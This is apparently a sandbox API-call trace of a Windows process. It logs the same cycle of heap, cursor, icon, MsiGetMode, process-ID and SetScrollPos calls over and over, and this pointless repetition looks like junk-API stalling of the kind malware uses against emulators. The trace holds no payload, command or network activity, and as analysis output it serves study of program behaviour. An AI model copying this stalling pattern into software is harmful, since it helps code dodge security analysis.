	[0095.915] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.915] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.915] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.915] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.916] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.916] GetCurrentProcessId () returned 0xb50
	[0095.916] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1656706462, bRedraw=1) returned 0
	[0095.916] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.916] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.916] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.916] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.916] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.916] GetCurrentProcessId () returned 0xb50
	[0095.916] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-285939892, bRedraw=1) returned 0
	[0095.916] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.916] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.916] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.916] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.916] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.916] GetCurrentProcessId () returned 0xb50
	[0095.916] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2076011002, bRedraw=1) returned 0
	[0095.916] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.916] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.916] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.917] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.917] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.917] GetCurrentProcessId () returned 0xb50
	[0095.917] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=152624552, bRedraw=1) returned 0
	[0095.917] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.917] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.917] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.917] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.917] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.917] GetCurrentProcessId () returned 0xb50
	[0095.917] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1761131946, bRedraw=1) returned 0
	[0095.917] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.917] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.917] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.917] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.917] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.917] GetCurrentProcessId () returned 0xb50
	[0095.917] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=629708804, bRedraw=1) returned 0
	[0095.917] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.917] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.917] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.918] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.918] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.918] GetCurrentProcessId () returned 0xb50
	[0095.918] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1264787790, bRedraw=1) returned 0
	[0095.918] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.918] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.918] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.918] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.918] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.918] GetCurrentProcessId () returned 0xb50
	[0095.918] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1145312864, bRedraw=1) returned 0
	[0095.918] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.918] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.918] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.918] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.918] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.918] GetCurrentProcessId () returned 0xb50
	[0095.918] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-729923826, bRedraw=1) returned 0
	[0095.918] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.918] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.919] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.919] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.919] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.919] GetCurrentProcessId () returned 0xb50
	[0095.919] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1699436732, bRedraw=1) returned 0
	[0095.919] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.919] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.919] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.919] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.919] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.919] GetCurrentProcessId () returned 0xb50
	[0095.919] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-156540054, bRedraw=1) returned 0
	[0095.919] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.919] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.919] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.919] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.919] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.919] GetCurrentProcessId () returned 0xb50
	[0095.919] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2002886888, bRedraw=1) returned 0
	[0095.919] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.919] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.920] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.920] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.920] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.920] GetCurrentProcessId () returned 0xb50
	[0095.920] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=455363526, bRedraw=1) returned 0
	[0095.920] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.920] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.920] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.920] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.920] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.920] GetCurrentProcessId () returned 0xb50
	[0095.920] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1371723404, bRedraw=1) returned 0
	[0095.920] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.920] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.920] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.920] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.920] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.920] GetCurrentProcessId () returned 0xb50
	[0095.920] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1105786914, bRedraw=1) returned 0
	[0095.920] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.921] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.921] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.921] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.921] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.921] GetCurrentProcessId () returned 0xb50
	[0095.921] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-702040112, bRedraw=1) returned 0
	[0095.921] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.921] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.921] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.921] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.921] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.921] GetCurrentProcessId () returned 0xb50
	[0095.921] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1794730110, bRedraw=1) returned 0
	[0095.921] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.921] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.921] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.921] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.921] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.921] GetCurrentProcessId () returned 0xb50
	[0095.921] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=6162988, bRedraw=1) returned 0
	[0095.921] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.922] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.922] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.922] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.922] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.922] GetCurrentProcessId () returned 0xb50
	[0095.922] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1772774182, bRedraw=1) returned 0
	[0095.922] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.922] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.922] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.922] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.922] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.922] GetCurrentProcessId () returned 0xb50
	[0095.922] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=752885896, bRedraw=1) returned 0
	[0095.922] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.922] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.922] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.922] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.922] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.922] GetCurrentProcessId () returned 0xb50
	[0095.922] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1006791370, bRedraw=1) returned 0
	[0095.923] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.923] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.923] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.923] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.923] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.923] GetCurrentProcessId () returned 0xb50
	[0095.923] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1538128612, bRedraw=1) returned 0
	[0095.923] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.923] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.923] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.923] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.923] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.923] GetCurrentProcessId () returned 0xb50
	[0095.923] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-202288750, bRedraw=1) returned 0
	[0095.923] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.923] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.923] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.923] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.923] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.923] GetCurrentProcessId () returned 0xb50
	[0095.923] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1933076160, bRedraw=1) returned 0
	[0095.924] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.924] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.924] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.924] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.924] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.924] GetCurrentProcessId () returned 0xb50
	[0095.924] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=640733678, bRedraw=1) returned 0
	[0095.924] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.924] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.924] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.924] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.924] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.924] GetCurrentProcessId () returned 0xb50
	[0095.924] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1070793828, bRedraw=1) returned 0
	[0095.924] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.924] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.924] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.924] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.924] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.924] GetCurrentProcessId () returned 0xb50
	[0095.924] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1522275914, bRedraw=1) returned 0
	[0095.925] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.925] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.925] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.925] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.925] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.925] GetCurrentProcessId () returned 0xb50
	[0095.925] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-169991688, bRedraw=1) returned 0
	[0095.925] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.925] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.925] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.925] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.925] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.925] GetCurrentProcessId () returned 0xb50
	[0095.925] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1852629338, bRedraw=1) returned 0
	[0095.925] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.925] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.925] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.925] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.925] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.925] GetCurrentProcessId () returned 0xb50
	[0095.925] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=769330260, bRedraw=1) returned 0
	[0095.926] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.926] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.926] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.926] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.926] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.926] GetCurrentProcessId () returned 0xb50
	[0095.926] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-894047486, bRedraw=1) returned 0
	[0095.926] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.926] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.926] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.926] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.926] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.926] GetCurrentProcessId () returned 0xb50
	[0095.926] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1747172016, bRedraw=1) returned 0
	[0095.926] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.926] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.926] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.926] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.926] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.926] GetCurrentProcessId () returned 0xb50
	[0095.926] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=103054174, bRedraw=1) returned 0
	[0095.927] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.927] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.927] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.927] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.927] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.927] GetCurrentProcessId () returned 0xb50
	[0095.927] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1531433716, bRedraw=1) returned 0
	[0095.927] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.927] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.927] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.927] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.927] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.927] GetCurrentProcessId () returned 0xb50
	[0095.927] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1138675642, bRedraw=1) returned 0
	[0095.927] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.927] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.927] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.927] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.927] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.928] GetCurrentProcessId () returned 0xb50
	[0095.928] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-476552344, bRedraw=1) returned 0
	[0095.928] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.928] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.928] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.928] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.928] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.928] GetCurrentProcessId () returned 0xb50
	[0095.928] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2082150378, bRedraw=1) returned 0
	[0095.928] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.928] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.928] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.928] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.928] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.928] GetCurrentProcessId () returned 0xb50
	[0095.928] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=616848836, bRedraw=1) returned 0
	[0095.928] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.928] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.928] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.928] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.929] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.929] GetCurrentProcessId () returned 0xb50
	[0095.929] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-969489294, bRedraw=1) returned 0
	[0095.929] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.929] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.929] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.929] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.929] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.929] GetCurrentProcessId () returned 0xb50
	[0095.929] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1748769824, bRedraw=1) returned 0
	[0095.929] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.929] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.929] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.929] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.929] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.929] GetCurrentProcessId () returned 0xb50
	[0095.929] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=181691598, bRedraw=1) returned 0
	[0095.929] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.929] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.929] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.929] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.930] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.930] GetCurrentProcessId () returned 0xb50
	[0095.930] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1375756676, bRedraw=1) returned 0
	[0095.930] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.930] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.930] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.930] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.930] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.930] GetCurrentProcessId () returned 0xb50
	[0095.930] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1371392298, bRedraw=1) returned 0
	[0095.930] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.930] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.930] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.930] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.930] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.930] GetCurrentProcessId () returned 0xb50
	[0095.930] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-166796072, bRedraw=1) returned 0
	[0095.930] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.930] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.930] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.931] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.931] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
